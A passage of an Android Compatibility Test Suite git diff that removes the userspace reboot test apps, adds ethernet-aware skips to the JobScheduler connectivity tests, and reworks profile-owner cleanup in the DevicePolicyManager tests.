"BasicUserspaceRebootTest", "prepareFile"); - - // In order to test that broadcasts are correctly sent, we need to have a separate app that - // is going to be listen for them. Unfortunately, we can't use BOOT_COMPLETED_TEST_APP_APK - // because every call to `am instrument` force stops an app. This doesn't play well with - // BOOT_COMPLETED broadcast, which is not sent to stopped apps. - // Send an intent to our "broadcast listening" test app to kick it out from stopped state. - getDevice().executeShellV2Command("am start -a android.intent.action.MAIN" - + " --user 0" - + " -c android.intent.category.LAUNCHER " - + BASIC_TEST_APP_PACKAGE_NAME + "/.LauncherActivity"); - // Wait enough for PackageManager to persist new state of test app. - // I wish there was a better way to synchronize here... - Thread.sleep(15000); - } - - /** - * Asserts that fallback to hard reboot is triggered when a native process fails to stop in a - * given timeout. - */ - @Test - @RequiresDevice // TODO(b/154709530): Remove dependency on physical device - public void testUserspaceRebootFailsKillingProcesses() throws Exception { - assumeTrue("Userspace reboot not supported on the device", - getDevice().getBooleanProperty(USERSPACE_REBOOT_SUPPORTED_PROP, false)); - assumeTrue("This test requires root", getDevice().enableAdbRoot()); - final String sigkillTimeout = - getProperty("init.userspace_reboot.sigkill.timeoutmillis", ""); - final String sigtermTimeout = - getProperty("init.userspace_reboot.sigterm.timeoutmillis", ""); - try { - // Explicitly set a very low value to make sure that safety mechanism kicks in. - getDevice().setProperty("init.userspace_reboot.sigkill.timeoutmillis", "10"); - getDevice().setProperty("init.userspace_reboot.sigterm.timeoutmillis", "10"); - rebootUserspaceAndWaitForBootComplete(); - assertUserspaceRebootFailed(); - assertLastBootReasonIs("userspace_failed,shutdown_aborted,sigkill"); - } finally { - getDevice().setProperty("init.userspace_reboot.sigkill.timeoutmillis", sigkillTimeout); - getDevice().setProperty("init.userspace_reboot.sigterm.timeoutmillis", sigtermTimeout); - } - } - - /** - * Asserts that fallback to hard reboot is triggered when userspace reboot fails to finish in a - * given time. - */ - @Test - public void testUserspaceRebootWatchdogTriggers() throws Exception { - assumeTrue("Userspace reboot not supported on the device", - getDevice().getBooleanProperty(USERSPACE_REBOOT_SUPPORTED_PROP, false)); - assumeTrue("This test requires root", getDevice().enableAdbRoot()); - final String defaultValue = getProperty("init.userspace_reboot.watchdog.timeoutmillis", ""); - try { - // Explicitly set a very low value to make sure that safety mechanism kicks in. - getDevice().setProperty("init.userspace_reboot.watchdog.timeoutmillis", "1000"); - rebootUserspaceAndWaitForBootComplete(); - assertUserspaceRebootFailed(); - assertLastBootReasonIs("userspace_failed,watchdog_triggered,failed_to_boot"); - } finally { - getDevice().setProperty("init.userspace_reboot.watchdog.timeoutmillis", defaultValue); - } - } - - // TODO(b/135984674): add test case that forces unmount of f2fs userdata. - - /** - * Returns {@code true} if device supports fs-checkpointing. - */ - private boolean isFsCheckpointingSupported() throws Exception { - CommandResult result = getDevice().executeShellV2Command("sm supports-checkpoint"); - assertWithMessage("Failed to check if fs checkpointing is supported : %s", - result.getStderr()).that(result.getStatus()).isEqualTo(CommandStatus.SUCCESS); - return "true".equals(result.getStdout().trim()); - } - - /** - * Reboots a device and waits for the boot to complete. - * - * <p>Before rebooting, sets a value of sysprop {@code test.userspace_reboot.requested} to 1. - * Querying this property is then used in {@link #assertUserspaceRebootSucceed()} to assert that - * userspace reboot succeeded. - */ - private void rebootUserspaceAndWaitForBootComplete() throws Exception { - Duration timeout = Duration.ofMillis(getDevice().getIntProperty( - "init.userspace_reboot.watchdog.timeoutmillis", 0)).plusMinutes(2); - setProperty("test.userspace_reboot.requested", "1"); - getDevice().rebootUserspaceUntilOnline(); - assertWithMessage("Device did not boot within %s", timeout).that( - getDevice().waitForBootComplete(timeout.toMillis())).isTrue(); - } - - /** - * Asserts that userspace reboot succeeded by querying the value of {@code - * test.userspace_reboot.requested} property. - */ - private void assertUserspaceRebootSucceed() throws Exception { - // If userspace reboot fails and fallback to hard reboot is triggered then - // test.userspace_reboot.requested won't be set. - final String bootReason = getProperty("sys.boot.reason.last", ""); - final boolean result = getDevice().getBooleanProperty("test.userspace_reboot.requested", - false); - assertWithMessage( - "Userspace reboot failed and fallback to full reboot was triggered. Boot reason: " - + "%s", bootReason).that(result).isTrue(); - } - - /** - * Asserts that userspace reboot fails by querying the value of {@code - * test.userspace_reboot.requested} property. - */ - private void assertUserspaceRebootFailed() throws Exception { - // If userspace reboot fails and fallback to hard reboot is triggered then - // test.userspace_reboot.requested won't be set. - final boolean result = getDevice().getBooleanProperty("test.userspace_reboot.requested", - false); - assertWithMessage("Fallback to full reboot wasn't triggered").that(result).isFalse(); - } - - /** - * A wrapper over {@code adb shell setprop name value}. - * - * This is a temporary workaround until issues with {@code getDevice().setProperty()} API are - * resolved. - */ - private void setProperty(String name, String value) throws Exception { - final String cmd = String.format("\"setprop %s %s\"", name, value); - final CommandResult result = getDevice().executeShellV2Command(cmd); - assertWithMessage("Failed to call adb shell %s: %s", cmd, result.getStderr()) - .that(result.getStatus()).isEqualTo(CommandStatus.SUCCESS); - } - - /** - * Asserts that normalized value of {@code sys.boot.reason.last} is equal to {@code expected}. - */ - private void assertLastBootReasonIs(final String expected) throws Exception { - String reason = getProperty("sys.boot.reason.last", ""); - if (reason.startsWith("reboot,")) { - reason = reason.substring("reboot,".length()); - } - assertThat(reason).isEqualTo(expected); - } - - /** - * A wrapper over {@code getDevice().getProperty(name)} API that returns {@code defaultValue} if - * property with the given {@code name} doesn't exist. - */ - private String getProperty(String name, String defaultValue) throws Exception { - String ret = getDevice().getProperty(name); - return ret == null ? defaultValue : ret; - } -} diff --git a/hostsidetests/userspacereboot/testapps/BasicTestApp/AndroidManifest.xml b/hostsidetests/userspacereboot/testapps/BasicTestApp/AndroidManifest.xml deleted file mode 100644 index 348a462bbe5..00000000000 --- a/hostsidetests/userspacereboot/testapps/BasicTestApp/AndroidManifest.xml +++ /dev/null @@ -1,49 +0,0 @@ -<?xml version="1.0" encoding="utf-8"?> -<!-- - ~ Copyright (C) 2020 The Android Open Source Project - ~ - ~ Licensed under the Apache License, Version 2.0 (the "License"); - ~ you may not use this file except in compliance with the License. - ~ You may obtain a copy of the License at - ~ - ~ http://www.apache.org/licenses/LICENSE-2.0 - ~ - ~ Unless required by applicable law or agreed to in writing, software - ~ distributed under the License is distributed on an "AS IS" BASIS, - ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - ~ See the License for the specific language governing permissions and - ~ limitations under the License. - --> - -<manifest xmlns:android="http://schemas.android.com/apk/res/android" - package="com.android.cts.userspacereboot.basic"> - - <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> - <application> - <activity android:name=".LauncherActivity" - android:exported="true"> - <intent-filter> - <action android:name="android.intent.action.MAIN"/> - <category android:name="android.intent.category.LAUNCHER"/> - </intent-filter> - </activity> - <uses-library android:name="android.test.runner"/> - <receiver android:name=".BasicUserspaceRebootTest$BootReceiver" - android:exported="true" - android:directBootAware="true"> - <intent-filter> - <action android:name="android.intent.action.BOOT_COMPLETED"/> - <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED"/> - </intent-filter> - </receiver> - <provider android:name=".BasicUserspaceRebootTest$Provider" - android:authorities="com.android.cts.userspacereboot.basic" - android:exported="true" - android:directBootAware="true"> - </provider> - </application> - - <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner" - android:targetPackage="com.android.cts.userspacereboot.basic" - android:label="Basic userspace reboot device side tests"/> -</manifest> diff --git a/hostsidetests/userspacereboot/testapps/BasicTestApp/src/com/android/cts/userspacereboot/basic/BasicUserspaceRebootTest.java b/hostsidetests/userspacereboot/testapps/BasicTestApp/src/com/android/cts/userspacereboot/basic/BasicUserspaceRebootTest.java deleted file mode 100644 index c41f221cf42..00000000000 --- a/hostsidetests/userspacereboot/testapps/BasicTestApp/src/com/android/cts/userspacereboot/basic/BasicUserspaceRebootTest.java +++ /dev/null @@ -1,163 +0,0 @@ -/* - * Copyright (C) 2020 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.android.cts.userspacereboot.basic; - -import static com.google.common.truth.Truth.assertThat; - -import static org.testng.Assert.assertThrows; - -import android.content.BroadcastReceiver; -import android.content.ContentProvider; -import android.content.ContentValues; -import android.content.Context; -import android.content.Intent; -import android.database.Cursor; -import android.database.MatrixCursor; -import android.net.Uri; -import android.os.PowerManager; -import android.util.Log; - -import androidx.test.platform.app.InstrumentationRegistry; - -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -import java.io.File; -import java.io.IOException; -import java.io.OutputStreamWriter; -import java.io.PrintWriter; - -/** - * A test app called from {@link com.android.cts.userspacereboot.host.UserspaceRebootHostTest} to - * verify basic properties around userspace reboot. - * - * <p>Additionally it's used as a test app to receive {@link Intent.ACTION_BOOT_COMPLETED} - * broadcast. Another test app {@link - * com.android.cts.userspacereboot.bootcompleted.com.android.cts.userspacereboot.bootcompleted} will - * query a {@link ContentProvider} exposed by this app in order to verify that broadcast was - * received. - * - * <p>Such separation is required due to the fact, that when {@code adb shell am instrument} is - * called for an app, it will always force stop that app. This means that if we start an - * instrumentation test in the same app that listens for {@link Intent.ACTION_BOOT_COMPLETED} - * broadcast, we might end up not receiving broadcast at all, because {@link - * Intent.ACTION_BOOT_COMPLETED} is not delivered to stopped apps. - */ -@RunWith(JUnit4.class) -public class BasicUserspaceRebootTest { - - private static final String TAG = "UserspaceRebootTest"; - - private final Context mContext = InstrumentationRegistry.getInstrumentation().getContext(); - - /** - * Tests that {@link PowerManager#isRebootingUserspaceSupported()} returns {@code true}. - */ - @Test - public void testUserspaceRebootIsSupported() { - PowerManager powerManager = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE); - assertThat(powerManager.isRebootingUserspaceSupported()).isTrue(); - } - - /** - * Tests that {@link PowerManager#isRebootingUserspaceSupported()} returns {@code false}. - */ - @Test - public void testUserspaceRebootIsNotSupported() { - PowerManager powerManager = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE); - assertThat(powerManager.isRebootingUserspaceSupported()).isFalse(); - assertThrows(UnsupportedOperationException.class, - () -> powerManager.reboot("userspace")); - } - - /** - * Deletes test file in app data directory if necessary. - */ - @Test - public void prepareFile() throws Exception { - Context de = mContext.createDeviceProtectedStorageContext(); - de.deleteFile(Intent.ACTION_BOOT_COMPLETED.toLowerCase()); - } - - /** - * Receiver of {@link Intent.ACTION_LOCKED_BOOT_COMPLETED} and - * {@link Intent.ACTION_BOOT_COMPLETED} broadcasts. - */ - public static class BootReceiver extends BroadcastReceiver { - - @Override - public void onReceive(Context context, Intent intent) { - Log.i(TAG, "Received! " + intent); - String fileName = intent.getAction().toLowerCase(); - try (PrintWriter writer = new PrintWriter(new OutputStreamWriter( - context.createDeviceProtectedStorageContext().openFileOutput( - fileName, Context.MODE_PRIVATE)))) { - writer.println(intent.getAction()); - } catch (IOException e) { - Log.w(TAG, "Failed to append to " + fileName, e); - } - } - } - - /** - * Returns whenever {@link Intent.ACTION_LOCKED_BOOT_COMPLETED} and - * {@link Intent.ACTION_BOOT_COMPLETED} broadcast were received. - */ - public static class Provider extends ContentProvider { - - @Override - public boolean onCreate() { - return true; - } - - @Override - public String getType(Uri uri) { - return "vnd.android.cursor.item/com.android.cts.userspacereboot.basic.exists"; - } - - @Override - public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, - String sortOrder) { - Context de = getContext().createDeviceProtectedStorageContext(); - File locked_boot_completed = new File( - de.getFilesDir(), Intent.ACTION_LOCKED_BOOT_COMPLETED.toLowerCase()); - File boot_completed = new File( - de.getFilesDir(), Intent.ACTION_BOOT_COMPLETED.toLowerCase()); - MatrixCursor cursor = new MatrixCursor( - new String[]{ "locked_boot_completed", "boot_completed"}); - cursor.addRow(new Object[] { - locked_boot_completed.exists() ? 1 : 0, boot_completed.exists() ? 1 : 0 }); - return cursor; - } - - @Override - public Uri insert(Uri uri, ContentValues values) { - throw new UnsupportedOperationException(); - } - - @Override - public int delete(Uri uri, String selection, String[] selectionArgs) { - throw new UnsupportedOperationException(); - } - - @Override - public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) { - throw new UnsupportedOperationException(); - } - } -} diff --git a/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/AndroidManifest.xml b/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/AndroidManifest.xml deleted file mode 100644 index 03feb434e6e..00000000000 --- a/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/AndroidManifest.xml +++ /dev/null @@ -1,28 +0,0 @@ -<?xml version="1.0" encoding="utf-8"?> -<!-- - ~ Copyright (C) 2020 The Android Open Source Project - ~ - ~ Licensed under the Apache License, Version 2.0 (the "License"); - ~ you may not use this file except in compliance with the License. - ~ You may obtain a copy of the License at - ~ - ~ http://www.apache.org/licenses/LICENSE-2.0 - ~ - ~ Unless required by applicable law or agreed to in writing, software - ~ distributed under the License is distributed on an "AS IS" BASIS, - ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - ~ See the License for the specific language governing permissions and - ~ limitations under the License. - --> - -<manifest xmlns:android="http://schemas.android.com/apk/res/android" - package="com.android.cts.userspacereboot.bootcompleted" > - - <application> - <uses-library android:name="android.test.runner" /> - </application> - - <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner" - android:targetPackage="com.android.cts.userspacereboot.bootcompleted" - android:label="Boot Completed userspace reboot device side tests"/> -</manifest> diff --git a/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/src/com/android/cts/userspacereboot/bootcompleted/BootCompletedUserspaceRebootTest.java b/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/src/com/android/cts/userspacereboot/bootcompleted/BootCompletedUserspaceRebootTest.java deleted file mode 100644 index 4a512ced255..00000000000 --- a/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/src/com/android/cts/userspacereboot/bootcompleted/BootCompletedUserspaceRebootTest.java +++ /dev/null @@ -1,125 +0,0 @@ -/* - * Copyright (C) 2020 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.android.cts.userspacereboot.bootcompleted; - -import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; - -import static com.google.common.truth.Truth.assertThat; - -import android.content.Context; -import android.content.Intent; -import android.database.Cursor; -import android.net.Uri; -import android.os.UserManager; -import android.util.Log; - -import com.android.compatibility.common.util.TestUtils; - -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -import java.io.OutputStreamWriter; -import java.time.Duration; -import java.util.Scanner; - -/** - * A test app called from {@link com.android.cts.userspacereboot.host.UserspaceRebootHostTest} to - * verify CE storage related properties of userspace reboot. - */ -@RunWith(JUnit4.class) -public class BootCompletedUserspaceRebootTest { - - private static final String TAG = "UserspaceRebootTest"; - - private static final String FILE_NAME = "secret.txt"; - private static final String SECRET_MESSAGE = "wow, much secret"; - - private static final Duration LOCKED_BOOT_TIMEOUT = Duration.ofMinutes(3); - private static final Duration BOOT_TIMEOUT = Duration.ofMinutes(6); - - private final Context mCeContext = getInstrumentation().getContext(); - private final Context mDeContext = mCeContext.createDeviceProtectedStorageContext(); - - /** - * Writes to a file in CE storage of {@link BootCompletedUserspaceRebootTest}. - * - * <p>Reading content of this file is used by other test cases in this class to verify that CE - * storage is unlocked after userspace reboot. - */ - @Test - public void prepareFile() throws Exception { - try (OutputStreamWriter writer = new OutputStreamWriter( - mCeContext.openFileOutput(FILE_NAME, Context.MODE_PRIVATE))) { - writer.write(SECRET_MESSAGE); - } - } - - /** - * Tests that CE storage is unlocked by reading content of a file in CE storage. - */ - @Test - public void testVerifyCeStorageUnlocked() throws Exception { - UserManager um = getInstrumentation().getContext().getSystemService(UserManager.class); - assertThat(um.isUserUnlocked()).isTrue(); - try (Scanner scanner = new Scanner(mCeContext.openFileInput(FILE_NAME))) { - final String content = scanner.nextLine(); - assertThat(content).isEqualTo(SECRET_MESSAGE); - } - } - - /** - * Tests that {@link Intent.ACTION_LOCKED_BOOT_COMPLETED} broadcast was sent. - */ - @Test - public void testVerifyReceivedLockedBootCompletedBroadcast() throws Exception { - waitForBroadcast(Intent.ACTION_LOCKED_BOOT_COMPLETED, LOCKED_BOOT_TIMEOUT); - } - - /** - * Tests that {@link Intent.ACTION_BOOT_COMPLETED} broadcast was sent. - */ - @Test - public void testVerifyReceivedBootCompletedBroadcast() throws Exception { - waitForBroadcast(Intent.ACTION_BOOT_COMPLETED, BOOT_TIMEOUT); - } - - private void waitForBroadcast(String intent, Duration timeout) throws Exception { - TestUtils.waitUntil( - "Didn't receive broadcast " + intent + " in " + timeout, - (int) timeout.getSeconds(), - () -> queryBroadcast(intent)); - } - - private boolean queryBroadcast(String intent) { - Uri uri = Uri.parse("content://com.android.cts.userspacereboot.basic/files/" - + intent.toLowerCase()); - Cursor cursor = mDeContext.getContentResolver().query(uri, null, null, null, null); - if (cursor == null) { - return false; - } - if (!cursor.moveToFirst()) { - Log.w(TAG, "Broadcast: " + intent + " cursor is empty"); - return false; - } - String column = intent.equals(Intent.ACTION_LOCKED_BOOT_COMPLETED) - ? "locked_boot_completed" - : "boot_completed"; - int index = cursor.getColumnIndex(column); - return cursor.getInt(index) == 1; - } -} diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java index cbb84c14756..b440d83c819 100644 --- a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java +++ b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java @@ -18,6 +18,7 @@ package android.jobscheduler.cts; import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET; import static android.net.NetworkCapabilities.NET_CAPABILITY_VALIDATED; import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR; +import static android.net.NetworkCapabilities.TRANSPORT_ETHERNET; import static android.net.NetworkCapabilities.TRANSPORT_WIFI; import static com.android.compatibility.common.util.TestUtils.waitUntil; @@ -87,6 +88,8 @@ public class ConnectivityConstraintTest extends BaseJobSchedulerTest { private boolean mHasWifi; /** Whether the device running these tests supports telephony. */ private boolean mHasTelephony; + /** Whether the device running these tests supports ethernet. */ + private boolean mHasEthernet; /** Track whether WiFi was enabled in case we turn it off. */ private boolean mInitialWiFiState; /** Track initial WiFi metered state. */ @@ -113,6 +116,7 @@ public class ConnectivityConstraintTest extends BaseJobSchedulerTest { PackageManager packageManager = mContext.getPackageManager(); mHasWifi = packageManager.hasSystemFeature(PackageManager.FEATURE_WIFI); mHasTelephony = packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY); + mHasEthernet = packageManager.hasSystemFeature(PackageManager.FEATURE_ETHERNET); mBuilder = new JobInfo.Builder(CONNECTIVITY_JOB_ID, kJobServiceComponent); if (mHasWifi) { @@ -267,6 +271,10 @@ public class ConnectivityConstraintTest extends BaseJobSchedulerTest { * on a metered wifi connection. */ public void testConnectivityConstraintExecutes_withMeteredWifi() throws Exception { + if (hasEthernetConnection()) { + Log.d(TAG, "Skipping test since ethernet is connected."); + return; + } if (!mHasWifi) { return; } @@ -338,6 +346,10 @@ public class ConnectivityConstraintTest extends BaseJobSchedulerTest { * on a mobile data connection. */ public void testConnectivityConstraintExecutes_metered_Wifi() throws Exception { + if (hasEthernetConnection()) { + Log.d(TAG, "Skipping test since ethernet is connected."); + return; + } if (!mHasWifi) { return; } @@ -360,6 +372,10 @@ public class ConnectivityConstraintTest extends BaseJobSchedulerTest { * is in the foreground. */ public void testCellularConstraintExecutedAndStopped_Foreground() throws Exception { + if (hasEthernetConnection()) { + Log.d(TAG, "Skipping test since ethernet is connected."); + return; + } if (mHasWifi) { setWifiMeteredState(true); } else if (checkDeviceSupportsMobileData()) { @@ -395,6 +411,11 @@ public class ConnectivityConstraintTest extends BaseJobSchedulerTest { Log.d(TAG, "App standby not enabled"); return; } + // We're skipping this test because we can't make the ethernet connection metered. + if (hasEthernetConnection()) { + Log.d(TAG, "Skipping test since ethernet is connected."); + return; + } if (mHasWifi) { setWifiMeteredState(true); } else if (checkDeviceSupportsMobileData()) { @@ -460,6 +481,10 @@ public class ConnectivityConstraintTest extends BaseJobSchedulerTest { * when Data Saver is on and the device is not connected to WiFi. */ public void testFgExpeditedJobBypassesDataSaver() throws Exception { + if (hasEthernetConnection()) { + Log.d(TAG, "Skipping test since ethernet is connected."); + return; + } if (mHasWifi) { setWifiMeteredState(true); } else if (checkDeviceSupportsMobileData()) { @@ -574,20 +599,22 @@ public class ConnectivityConstraintTest extends BaseJobSchedulerTest { .getNetworkCapabilities(params.getNetwork()); assertTrue(nr.canBeSatisfiedBy(capabilities)); - // Deadline passed with no network satisfied. - setAirplaneMode(true); - ji = mBuilder - .setRequiredNetwork(nr) - .setOverrideDeadline(0) - .build(); + if (!hasEthernetConnection()) { + // Deadline passed with no network satisfied. + setAirplaneMode(true); + ji = mBuilder + .setRequiredNetwork(nr) + .setOverrideDeadline(0) + .build(); - kTestEnvironment.setExpectedExecutions(1); - mJobScheduler.schedule(ji); - runSatisfiedJob(CONNECTIVITY_JOB_ID); - assertTrue("Job didn't fire immediately", kTestEnvironment.awaitExecution()); + kTestEnvironment.setExpectedExecutions(1); + mJobScheduler.schedule(ji); + runSatisfiedJob(CONNECTIVITY_JOB_ID); + assertTrue("Job didn't fire immediately", kTestEnvironment.awaitExecution()); - params = kTestEnvironment.getLastStartJobParameters(); - assertNull(params.getNetwork()); + params = kTestEnvironment.getLastStartJobParameters(); + assertNull(params.getNetwork()); + } // No network requested setAirplaneMode(false); @@ -701,6 +728,10 @@ public class ConnectivityConstraintTest extends BaseJobSchedulerTest { * the device is connected to a metered WiFi provider. */ public void testUnmeteredConstraintFails_withMeteredWiFi() throws Exception { + if (hasEthernetConnection()) { + Log.d(TAG, "Skipping test since ethernet is connected."); + return; + } if (!mHasWifi) { Log.d(TAG, "Skipping test that requires the device be WiFi enabled."); return; @@ -746,6 +777,10 @@ public class ConnectivityConstraintTest extends BaseJobSchedulerTest { * when Data Saver is on and the device is not connected to WiFi. */ public void testBgExpeditedJobDoesNotBypassDataSaver() throws Exception { + if (hasEthernetConnection()) { + Log.d(TAG, "Skipping test since ethernet is connected."); + return; + } if (mHasWifi) { setWifiMeteredState(true); } else if (checkDeviceSupportsMobileData()) { @@ -832,6 +867,18 @@ public class ConnectivityConstraintTest extends BaseJobSchedulerTest { return false; } + private boolean hasEthernetConnection() { + if (!mHasEthernet) return false; + Network[] networks = mCm.getAllNetworks(); + for (Network network : networks) { + if (mCm.getNetworkCapabilities(network) + .hasTransport(NetworkCapabilities.TRANSPORT_ETHERNET)) { + return true; + } + } + return false; + } + private String unquoteSSID(String ssid) { // SSID is returned surrounded by quotes if it can be decoded as UTF-8. // Otherwise it's guaranteed not to start with a quote. diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java index 4909ce2b704..c2dfa2400dc 100644 --- a/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java +++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java @@ -122,7 +122,7 @@ public class JobParametersTest extends BaseJobSchedulerTest { + " " + JOB_ID)); // In automotive device, always-on screen and endless battery charging are assumed. - if (!isAutomotiveDevice()) { + if (BatteryUtils.hasBattery() && !isAutomotiveDevice()) { BatteryUtils.runDumpsysBatterySetLevel(100); BatteryUtils.runDumpsysBatteryUnplug(); verifyStopReason(new JobInfo.Builder(JOB_ID, kJobServiceComponent) diff --git a/tests/admin/Android.bp b/tests/admin/Android.bp index 9ad006eeb12..3c2c59a1968 100644 --- a/tests/admin/Android.bp +++ b/tests/admin/Android.bp @@ -25,6 +25,7 @@ android_test { "mockito-target-minus-junit4", "truth-prebuilt", "testng", + "Nene", ], libs: [ "android.test.runner", diff --git a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java index c0b30b797f1..ef5c0691b77 100644 --- a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java +++ b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java @@ -41,6 +41,9 @@ import android.test.AndroidTestCase; import android.test.suitebuilder.annotation.Suppress; import android.util.Log; +import com.android.bedstead.nene.exceptions.AdbException; +import com.android.bedstead.nene.utils.ShellCommand; +import com.android.bedstead.nene.utils.ShellCommandUtils; import com.android.compatibility.common.util.SystemUtil; import java.io.ByteArrayInputStream; @@ -105,14 +108,6 @@ public class DevicePolicyManagerTest extends AndroidTestCase { mPackageManager.hasSystemFeature(PackageManager.FEATURE_SECURE_LOCK_SCREEN); } - @Override - protected void tearDown() throws Exception { - super.tearDown(); - SystemUtil.runShellCommand( - "dpm set-profile-owner --user cur " - + DeviceAdminInfoTest.getProfileOwnerComponent().flattenToString()); - } - public void testGetActiveAdmins() { if (!mDeviceAdmin) { Log.w(TAG, "Skipping testGetActiveAdmins"); @@ -124,7 +119,7 @@ public class DevicePolicyManagerTest extends AndroidTestCase { assertTrue(mDevicePolicyManager.isAdminActive(mComponent)); } - public void testSetGetPreferentialNetworkServiceEnabled() { + public void testSetGetPreferentialNetworkServiceEnabled() throws Exception { if (!mDeviceAdmin) { Log.w(TAG, "Skipping testSetGetPreferentialNetworkServiceEnabled"); return; @@ -137,7 +132,11 @@ public class DevicePolicyManagerTest extends AndroidTestCase { () -> mDevicePolicyManager.isPreferentialNetworkServiceEnabled()); } catch (SecurityException se) { Log.w(TAG, "Test is not a profile owner and there is no need to clear."); + } finally { + setProfileOwnerAndWaitForSuccess( + DeviceAdminInfoTest.getProfileOwnerComponent().flattenToString()); } + } public void testKeyguardDisabledFeatures() { @@ -1184,7 +1183,8 @@ public class DevicePolicyManagerTest extends AndroidTestCase { } } - public void testSetNearbyNotificationStreamingPolicy_failIfNotDeviceOrProfileOwner() { + public void testSetNearbyNotificationStreamingPolicy_failIfNotDeviceOrProfileOwner() + throws Exception { if (!mDeviceAdmin) { String message = "Skipping" @@ -1192,15 +1192,21 @@ public class DevicePolicyManagerTest extends AndroidTestCase { Log.w(TAG, message); return; } - mDevicePolicyManager.clearProfileOwner(DeviceAdminInfoTest.getProfileOwnerComponent()); - assertThrows( - SecurityException.class, - () -> - mDevicePolicyManager.setNearbyNotificationStreamingPolicy( - DevicePolicyManager.NEARBY_STREAMING_ENABLED)); + try { + tryClearProfileOwner(); + assertThrows( + SecurityException.class, + () -> + mDevicePolicyManager.setNearbyNotificationStreamingPolicy( + DevicePolicyManager.NEARBY_STREAMING_ENABLED)); + } finally { + setProfileOwnerAndWaitForSuccess( + DeviceAdminInfoTest.getProfileOwnerComponent().flattenToString()); + } } - public void testGetNearbyNotificationStreamingPolicy_failIfNotDeviceOrProfileOwner() { + public void testGetNearbyNotificationStreamingPolicy_failIfNotDeviceOrProfileOwner() + throws Exception { if (!mDeviceAdmin) { String message = "Skipping" @@ -1208,36 +1214,69 @@ public class DevicePolicyManagerTest extends AndroidTestCase { Log.w(TAG, message); return; } - mDevicePolicyManager.clearProfileOwner(DeviceAdminInfoTest.getProfileOwnerComponent()); - assertThrows( - SecurityException.class, - () -> mDevicePolicyManager.getNearbyNotificationStreamingPolicy()); + try { + tryClearProfileOwner(); + assertThrows( + SecurityException.class, + () -> mDevicePolicyManager.getNearbyNotificationStreamingPolicy()); + } finally { + setProfileOwnerAndWaitForSuccess( + DeviceAdminInfoTest.getProfileOwnerComponent().flattenToString()); + } } - public void testSetNearbyAppStreamingPolicy_failIfNotDeviceOrProfileOwner() { + public void testSetNearbyAppStreamingPolicy_failIfNotDeviceOrProfileOwner() throws Exception { if (!mDeviceAdmin) { String message = "Skipping testSetNearbyAppStreamingPolicy_failIfNotDeviceOrProfileOwner"; Log.w(TAG, message); return; } - mDevicePolicyManager.clearProfileOwner(DeviceAdminInfoTest.getProfileOwnerComponent()); - assertThrows( - SecurityException.class, - () -> - mDevicePolicyManager.setNearbyAppStreamingPolicy( - DevicePolicyManager.NEARBY_STREAMING_ENABLED)); + try { + tryClearProfileOwner(); + assertThrows( + SecurityException.class, + () -> + mDevicePolicyManager.setNearbyAppStreamingPolicy( + DevicePolicyManager.NEARBY_STREAMING_ENABLED)); + } finally { + setProfileOwnerAndWaitForSuccess( + DeviceAdminInfoTest.getProfileOwnerComponent().flattenToString()); + } } - public void testGetNearbyAppStreamingPolicy_failIfNotDeviceOrProfileOwner() { + public void testGetNearbyAppStreamingPolicy_failIfNotDeviceOrProfileOwner() throws Exception { if (!mDeviceAdmin) { String message = "Skipping testGetNearbyAppStreamingPolicy_failIfNotDeviceOrProfileOwner"; Log.w(TAG, message); return; } - mDevicePolicyManager.clearProfileOwner(DeviceAdminInfoTest.getProfileOwnerComponent()); - assertThrows( - SecurityException.class, () -> mDevicePolicyManager.getNearbyAppStreamingPolicy()); + try { + tryClearProfileOwner(); + assertThrows( + SecurityException.class, + () -> mDevicePolicyManager.getNearbyAppStreamingPolicy()); + } finally { + setProfileOwnerAndWaitForSuccess( + 